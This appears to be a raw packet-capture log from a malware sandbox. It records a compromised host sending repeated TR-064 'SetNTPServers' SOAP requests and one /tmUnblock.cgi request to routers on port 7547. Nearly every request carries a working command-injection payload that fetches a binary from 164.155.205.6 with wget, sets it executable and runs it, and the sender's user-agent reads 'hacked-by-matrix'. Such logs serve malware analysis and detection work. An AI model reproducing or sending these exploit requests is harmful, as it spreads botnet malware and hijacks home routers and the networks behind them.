Mar 2, 2024 12:38:25.704046965 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1485	192.168.2.23	41600	31.181.55.118	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.789666891 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.131850958 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:28.696142912 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:31.959676027 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:38.362746954 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:50.901633978 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1486	192.168.2.23	49330	98.183.106.188	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.822187901 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1487	192.168.2.23	39420	171.83.88.62	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.851140976 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.512319088 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.464071989 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:33.495529890 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:41.430994034 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1488	192.168.2.23	53688	115.64.116.230	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:25.865784883 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:26.205769062 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 21:38:25 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1489	192.168.2.23	41616	31.181.55.118	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.100936890 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.706984997 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.595990896 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:33.495537043 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:41.174346924 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1490	192.168.2.23	46646	68.204.254.199	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.114504099 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1491	192.168.2.23	53714	115.64.116.230	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.205792904 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:26.547349930 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 21:38:25 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1492	192.168.2.23	47268	186.210.34.14	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.218302011 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:30.427850008 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.565608025 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1493	192.168.2.23	49438	152.168.78.8	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.231162071 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.260315895 CET	228	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="ZDBiZDE3NDg6MThhNDJhNTg6OGNkYjVkMDI=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
1494	192.168.2.23	57100	72.108.54.102	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.234941006 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1495	192.168.2.23	46692	68.204.254.199	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.254726887 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1496	192.168.2.23	33576	119.218.48.78	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.322906017 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:27.928258896 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1497	192.168.2.23	59420	14.85.181.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:26.322932005 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
